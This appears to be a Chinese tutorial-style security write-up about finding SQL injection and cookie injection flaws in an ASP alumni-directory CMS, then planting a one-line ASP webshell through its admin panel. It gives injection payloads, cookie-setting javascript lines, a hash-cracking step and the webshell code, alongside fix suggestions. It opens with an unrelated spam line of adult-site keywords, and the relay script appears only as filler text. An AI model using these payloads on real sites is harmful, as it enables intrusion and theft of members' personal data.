自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

不懂ASP也照樣挖漏洞 記一次CMS型校友錄的安全檢測(cè)

原創(chuàng)
安全 應(yīng)用安全
經(jīng)常接觸網(wǎng)站制作的業(yè)內(nèi)人士都知道什么是CMS,由于這個(gè)成熟的內(nèi)容管理系統(tǒng)框架具有良好的擴(kuò)展性,因此也被大量作為企業(yè)網(wǎng)站,校友錄等使用。網(wǎng)上有很多開源或免費(fèi)的CMS版本,但其安全性和穩(wěn)定性卻并不盡如人意。

【51CTO.com 獨(dú)家特稿】幾乎每個(gè)公司或團(tuán)體都會(huì)建立自己的網(wǎng)站,但由于各種原因,大部分人會(huì)使用網(wǎng)上 公 布的一些CMS來構(gòu)建自己的網(wǎng) 站,但卻很少有人會(huì)關(guān)注自己使用的CMS是否安全。下面存在漏洞的校友錄就是一個(gè) 很好的例子,攻破后,校友的個(gè)人信息將全部泄露。


一、對(duì)某CMS的初步安檢

1.初步查看
某日,在安天365群里,同伴發(fā)過來一個(gè)網(wǎng)址,讓我友情檢測(cè)一下該網(wǎng)站的 安全,打開后感覺 人氣還不錯(cuò),界面也比較簡潔 。如圖1所示。

圖1

2.簡單的安全測(cè)試
打開網(wǎng)站一看原來是個(gè)校友錄,隨便找個(gè)帶參數(shù)的地方,加個(gè)單引 號(hào),http://www.*********.com/gg.asp?id=100', 返回的 結(jié)果如圖2所示。

圖2

很明顯,程序做了防注入的處理,看來程序開發(fā)者還有點(diǎn)安全意識(shí),做了一些安全措施,不過后來證明,防注 入也 只是檢測(cè)了GET方法,并 未對(duì)POST和COOKIE做檢測(cè)。正準(zhǔn)備測(cè)試cookie注入,同伴kiss傳了個(gè)源代碼過來, 有源代碼就 好辦了,還是在本地測(cè)試安全,網(wǎng)上的畢竟是未 經(jīng)授權(quán)的安全檢測(cè),多少存在一些風(fēng)險(xiǎn)。
#p#
二、在本地進(jìn)行安全測(cè)試

1.搭建測(cè)試環(huán)境
把校友錄的源代碼復(fù)制到IIS的web目錄下,打開瀏覽器瀏覽http://192.168.1.5/txl/,結(jié)果如圖3所示。

圖3

2.安裝組件
很顯示,我本地服務(wù)器不支持它的組件,先看說明。在安裝說明里有這么 一句“組件安裝方法 ,將 該組件復(fù)制到 C:\WINDOWS\system32里,并將此權(quán)限設(shè)置成允許網(wǎng)站訪問組的“完全 控制權(quán)限”。例:將 everyone設(shè)置 成“完全控制”。然后在“開始/運(yùn)行 ”中輸入‘regsvr32 yvsy.dll’,卸 載方式為‘regsvr32 yvsy.dll -u’”。照 著它的方法注冊(cè)了組件,如圖4所示。

圖4

3.搭建試驗(yàn)環(huán)境成功
注冊(cè)成功后,再次瀏覽http://192.168.1.5/txl/,一切正常了,后面 開始檢測(cè)該CMS的安全漏 洞。如圖5所示。

圖5


#p#
三、挖掘并查找安全漏洞

1.解密CMS源代碼
使用Editplus編輯器打開CMS下的源代碼,發(fā)現(xiàn)程序作者對(duì)部分源代 碼使用了Encoder加密,如圖6所示。

圖6

2.解密源代碼
為了方便查看源代碼,首先對(duì)它們進(jìn)行解密,到網(wǎng)上下載asp腳本解密工 具,打開,選擇源代碼所 在目錄,如圖7所示。

圖7

點(diǎn)擊“開始解密”,幾秒鐘后就可以對(duì)文件夾下所有asp文件解密。解密后的代碼如圖8所示。

圖8

說明:
(1)其實(shí),使用Encoder對(duì)asp腳本加密沒什么必要,因?yàn)閷?duì)于asp腳本解密太簡單了,于其花時(shí)間 在加密 腳本上,不如將時(shí)間花在寫更安全的代碼上。

(2)什么是Encoder加密?
Asp Encoder是微軟推出的一套算法,并提供了一個(gè)命令行下的腳本加密工具 。 Script Encoder的特點(diǎn)是:它只加密頁面中嵌入的腳本代碼,其他部分,如HTML的TAG仍然保持原樣不變。處 理后的文件 中被加密過的部分為只讀內(nèi)容,對(duì)加密部分的任何修改都將導(dǎo)致 整個(gè)加密后的文件不能使用。 Script Encoder加密過的 ASP文件還將使Script Debugger之類的腳本調(diào)試工具失效。

3.查找SQL注入點(diǎn)
因?yàn)榇a還挺多的,不想一個(gè)個(gè)看,所以通過正則表達(dá)式來查找可能 存在注入的文件,之后再 慢慢看。打開EditPlus,點(diǎn)擊“搜索”->“在文件中查找”,彈出的對(duì)話框,查找內(nèi) 容填寫 “((select|update|delete)+.*(from|set)+.*(where)+.*)”,文件類型填寫“*.asp”,文件夾選擇校 友錄所在的文件 夾,再把“包含了文件夾”和“正則表達(dá)式”選項(xiàng)選上,如圖9所示。

圖9

此正則表達(dá)式的意思是查找文件夾下所有的asp文件,如果包含select、update和delete這些SQL語句,就顯示 出來。 只花了一秒鐘,結(jié)果出來了,有68個(gè)文件使用到SQL語句,如圖10所示。

圖10

圖10 查詢結(jié)果

說明:
在編寫處理字符串的程序或網(wǎng)頁時(shí),經(jīng)常會(huì)有查找符合某些復(fù)雜規(guī) 則的字 符串的需要。正則表達(dá)式就是用于描述這些規(guī)則的工具。換句話說,正則表達(dá)式就是記錄文本規(guī)則的代碼 。很可能你使 用過Windows/Dos下用于文件查找的通配符(wildcard),也就是*和?。如果你想查找某個(gè)目錄下的 所有的Word文檔的話, 你會(huì)搜索*.doc。在這里,*會(huì)被解釋成任意的字符串。和通配符類似,正則表達(dá)式也是用 來進(jìn)行文本匹配的工具,只不 過比起通配符,它能更精確地描述你的需求——當(dāng)然,代價(jià)就是更復(fù)雜——比如你 可以編寫一個(gè)正則表達(dá)式,用來查找 所有以0開頭,后面跟著2-3個(gè)數(shù)字,然后是一個(gè)連字號(hào)“-”,最后是7或8 位數(shù)字的字符串(像010-12345678或0376- 7654321)。

4.初審代碼

(1)查看app.asp文件源代碼
在查詢結(jié)果中先查看app.asp文件,如圖11所示。

圖11

第二行bid=clng(request("bid"))把bid的值轉(zhuǎn)為Long子類型,如果request的值不為數(shù)字,則會(huì)出現(xiàn)錯(cuò)誤。如 圖12所 示。CLng 函數(shù)可返回表達(dá)式,此表達(dá)式已被轉(zhuǎn)換為 Long 子類型的 Variant。

圖12

注意:值的范圍必須是在-2147483648 和 2147483647之間。

(2)分析bbsadd.asp文件
于是繼續(xù)分析下一個(gè)文件,bbsadd.asp文件,第406-409行:

406 < %repquote=request("repquote")

407 if repquote<>"" then

408 rs.open "select userid,cantent from [bbs] where id="&repquote&"",conn,1,1

409 reContent=obj.GetReContent(rs("cantent"))

很明顯,repquote參數(shù)未做任何過濾,直接放入SQL語句中,造成SQL注入。分析此文件得知,當(dāng)引用別人的帖子 回復(fù)時(shí),觸發(fā)此 SQL注入。先瀏覽一下http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2,返回正常,如圖13所示。

圖13

再加個(gè)單引號(hào)http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2'返回圖2一樣防注入的頁面,我在源代碼中一直找不到 防注的 代碼,應(yīng)該是存在它的組件中??此茮]有辦法注入了,但我們還有POST和COOKIE注入沒有試,先試POST方 法,直 接把URL 放到pangolin里,選擇POST,在高級(jí)選項(xiàng)里讀取cookie,點(diǎn)檢測(cè),一會(huì),結(jié)果就出來了,如圖14 所示。

圖14

pangolin別看它是英文界面,它可是國人ZwelL寫的一款Windows平臺(tái)下的自動(dòng)化SQL注入滲透測(cè)試工具。他實(shí) 現(xiàn)了 從檢測(cè)到利用完成一體化的滲透攻擊動(dòng)作,盡可能的將攻擊效果最大化。

(3)測(cè)試COOKIE注入
再測(cè)試COOKIE注入,先依次在瀏覽器地址欄輸入:
http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply&repquote=2 正常
javascript:alert (document.cookie="repquote="+escape("2 and 1=1"));
http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply 正常
javascript:alert(document.cookie="repquote="+escape("2 and 1=2"));
http://192.168.1.4/txl/bbsadd.asp? aid=2&bid=3&action=reply 不正常,如圖15所示。

圖15

修補(bǔ)建議:把406行改為repquote =obj.regstr(request.form("repquote"))

小知識(shí):什么是POST注入和COOKIE注入?
通常http請(qǐng)求不外乎 GET和POST兩種方法,也就是說如果服務(wù)端 要從客 戶端獲取參數(shù)值的話,一般是使用Request.QueryString("name")或者Request.Form("name")方法,也可 以合成 Request ("name"),一般防注入程序只是對(duì)這兩種方法提交的值作了過濾,而忽視了另外一種方法,那就 是 Request.Cookie ("name"),所以造成了COOKIE注入。

(3)繼續(xù)分析源代碼

繼續(xù)一個(gè)個(gè)文件進(jìn)行分析,其它文件沒發(fā)現(xiàn)什么問題,一直來到登錄文件login.asp???8-35行:

28 if request ("submi")=1 then
29 if comeurl="" Then ShowError("請(qǐng)?jiān)陧撁胬锏卿?)
30 xyluser=request.form ("xyluser")
31 xylpwd=md5(request.form("xylpwd"))
32 if xyluser="" or xylpwd="" Then ShowError("用 戶名和密碼不可以為空")
33 rs.open "select id,password,lastdate,logins,lastip,sitejob,sitemoney,isclose from user where 

username='"&xyluser&"'",conn,1,3
34 If Rs.eof and Rs.bof Then ShowError("你的用 戶名不存在")
35 if rs("password")<>xylpwd Then ShowError("你的密碼錯(cuò)誤")
在第30行,xyluser變 量未過慮,直接放入SQL語句中,造成注入。但卻不能 使用POST直接注入,看第29行,如果HTTPREFERER參數(shù)為空,就會(huì)提示“請(qǐng)?jiān)陧撁胬锏卿洝保苯犹峤?BR>http://192.168.1.4/txl/login.asp?xylpwd=m3m3.com&CkiExp=31&submi=1&loginsubmit=%BB%E1%D4%B1% B5%C7%C2%BC&xyluser=n3tl04d。如圖16所示。

圖16

雖然不能使用POST直接注入,但可以通過一個(gè)php腳本來轉(zhuǎn)發(fā)數(shù)據(jù)包來注入,中轉(zhuǎn)腳本如下:
dddddddddddddd
ddddddddd
把此腳本放在一個(gè)支持CRUL的PHP空間上,同時(shí)還要magic_quotes_gpc = off, 如果magic_quotes_gpc = on,輸入的單引號(hào)會(huì)被轉(zhuǎn)義為“\'”,然后瀏覽http://www.n3tl04d.mil/post4.php?id=n3tl04d,如圖17所示。

圖17

http://www.n3tl04d.mil/post4.php? id=n3tl04d放到Pangolin注入,如圖18所示。

圖18

修補(bǔ)建議:把第30行改為xyluser =obj.regstr(request.form("xyluser"))

(4)分析后臺(tái)文件adminbj.asp文件

分析后臺(tái)文件adminbj.asp文件,先看代碼
10 <%ad=request("ad")
11 type2=request("type2")
12 bjid=request("bjid")
13 Select Case type2
14 Case "edit":
……(略去無關(guān)代碼)
101 sub edit
102 sql="select * from bj where id="&bjid&""
103 rs.open sql,conn,1,1%>
很明顯,未對(duì)傳入?yún)?shù)bjid的值未做任何過濾,直接放 入 SQL語句中,

http://192.168.1.4/txl/admin/adminbj.asp?type2=edit&bjid=1,又是一個(gè) 注入, 但只能POST或COOKIE

注入,不過此此注入算是雞肋的注入,因?yàn)橐卿洸拍茏⑷?,沒什么實(shí)際意義。同樣的注入出現(xiàn)在后臺(tái)多個(gè)文 件了, 這里就不一一寫出來了。
#p#
四、后臺(tái)拿shell

1.猜解后臺(tái)密碼
后臺(tái)登錄有兩個(gè)密碼,這兩個(gè)密碼都存在admin表中,所以猜解admin 的表段時(shí),需要手動(dòng)添加 password2

第二個(gè)密碼的表段,使用pangolin猜解,等一會(huì),兩個(gè)密碼都猜出來了,如圖19所示。

圖19

2.破解密碼并登錄后臺(tái)
把d42683b3df678c61和c39059a89ab77d84拿到www.cmd5.com去解密,密碼分別是admin1和admin2。拿去登錄后臺(tái),成功。 如圖20所示。

圖20

這里不太明白,為什么開發(fā)者使用兩個(gè)登錄密碼,而兩個(gè)密碼放在同一表里,這里對(duì)安全性并沒有太大的提高 。應(yīng)該把第二個(gè)密碼使用其它加密方式單獨(dú)寫入一個(gè)asp文件中,這樣安全性不是有更大的提高?

3.插入一句話后門
查看一下siteinfo.asp文件,此文件是網(wǎng)站的一些信息配置文件,而后臺(tái) admin/siteinfo.asp對(duì)此配置文件編輯時(shí),并不會(huì)對(duì)表單的值進(jìn)行過濾,就給攻擊者在配置文件寫入一句話木馬 的機(jī)會(huì)。在管理后臺(tái),點(diǎn)擊站點(diǎn)參數(shù),在網(wǎng)址欄輸入:<%execute(request ("n"))%><%'/">http://"%><%execute(request("n"))%><%',如圖21所示。

圖21

4.使用Lanker的Webshell連接后臺(tái)
使用lanker微型PHP+ASP管理器1.0雙用版連接http://192.168.1.4/txl/siteinfo.asp,如圖22所示,成 功獲得Webshell,之后可以上傳大馬,做進(jìn)一步提權(quán)滲透測(cè)試。

圖22

說明:
此方法會(huì)造成網(wǎng)站無法正常瀏覽,在上傳大馬后,應(yīng)及時(shí)恢復(fù)原配置文件siteinfo.asp。
#p#
五、直接拿webshell

本來這是在最前面測(cè)試的,但由于各種原因,我把它放最后。數(shù)據(jù)庫是以asp文件存在,如果使用者沒更改默 認(rèn)數(shù)據(jù)庫文件,那么就在可以輸入的地方往數(shù)據(jù)庫內(nèi)插入一句話木馬,直接得到webshell。于是查找所有文件中 包含“request.form”的文件,最后在note.asp文件中發(fā)現(xiàn),程序未對(duì)客戶輸入的內(nèi)容做任何過濾,可以把一句 話木馬直接插入數(shù)據(jù)庫內(nèi)。

if request("type2")="add" then
rs.open "select * from note1 where userid="&session("xyluserid")&"",conn,1,3
If Rs.eof Then
rs.addnew
response.write "添加成功"
rs("userid")=session ("xyluserid")
end if
rs("content")=request.form("content") 
rs.update
rs.close
response.write "修改成功"
end if
于是嘗試在往 數(shù)據(jù)庫中插入:“%><%execute request("n")%><%”“%><%execute request ("n")%>”等 多種一句話的Unicode字符,再訪問數(shù)據(jù)庫文件,都顯示,無法閉合,如圖23所示。

圖23

原因是數(shù)據(jù)庫中存在nodown表,做了防下載處理,不過應(yīng)該可以突破,但本人能力有限,未能進(jìn)一步突破。

安全小知識(shí):如何建立nodown防下載表?
首先,用notepad新建一個(gè)內(nèi)容為“<%”的文本文件,隨便起 個(gè)名字存檔。
接著,用Access打開您的數(shù)據(jù)庫文件,在最后新建一個(gè)表,隨便起個(gè)名字,在表中添加一個(gè)OLE 對(duì)象的字段,然后添加一個(gè)記錄,插入之前建立的文本文件,如果操作正確的話,應(yīng)該可以看到一個(gè)新的名為“ 數(shù)據(jù)包”的記錄。
#p#
六、總結(jié)

由于本人不懂ASP,能力有限,所以此次檢測(cè)并沒有太深入,還有一些XSS跨站攻擊和上傳等也未進(jìn)行測(cè)試,總 體來說,這套CMS的安全性還是可以的,如果管理員密碼設(shè)置復(fù)雜一些,登錄不了后臺(tái),那也無法拿到webshell。 個(gè)人認(rèn)為在選擇CMS時(shí),選擇一些成熟的CMS產(chǎn)品安全性會(huì)高些,同時(shí)也應(yīng)該把數(shù)據(jù)庫文件和配置文件的名稱改復(fù) 雜一些。

【51CTO.COM 獨(dú)家特稿,轉(zhuǎn)載請(qǐng)注明出處及作者!】

【編輯推薦】

  1. 對(duì)某戶外旅游網(wǎng)站的一次安全檢測(cè)
  2. 對(duì)某高級(jí)技工學(xué)校網(wǎng)站的安全檢測(cè)和加 固
  3. 對(duì)韓國某手表網(wǎng)站的一次偶然安全檢測(cè)
責(zé)任編輯:王文文 來源: 51CTO.com
相關(guān)推薦

2021-11-11 16:14:04

Kubernetes

2011-09-27 10:35:44

2024-06-04 10:54:34

.NET代碼程序

2013-04-01 10:27:37

程序員失業(yè)

2011-02-22 09:29:23

jQueryJavaScript

2019-03-15 16:20:45

MySQL死鎖排查命令

2023-06-07 07:31:04

PC端app脫殼技巧

2021-12-20 10:15:16

zip密碼命令網(wǎng)絡(luò)安全

2013-01-17 10:31:13

JavaScriptWeb開發(fā)firebug

2021-05-13 08:51:20

GC問題排查

2014-08-06 11:24:24

Elasticsear劫持掛馬

2009-01-06 15:20:01

2021-02-25 10:00:19

企業(yè)安全互聯(lián)網(wǎng)云平臺(tái)安全

2022-01-07 11:48:59

RabbitMQGolang 項(xiàng)目

2020-12-29 10:25:07

漏洞JSONP注入

2014-08-11 09:31:52

2017-07-07 16:07:41

2023-04-06 07:53:56

Redis連接問題K8s

2012-09-03 14:22:02

2018-02-23 13:41:05

數(shù)據(jù)庫MySQL數(shù)據(jù)恢復(fù)
點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)